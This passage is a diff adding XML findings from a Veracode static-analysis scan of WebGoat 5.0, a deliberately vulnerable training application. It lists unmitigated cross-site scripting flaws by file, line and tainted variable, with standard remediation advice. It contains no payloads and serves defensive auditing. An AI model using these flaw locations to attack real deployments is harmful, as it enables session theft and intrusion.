+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
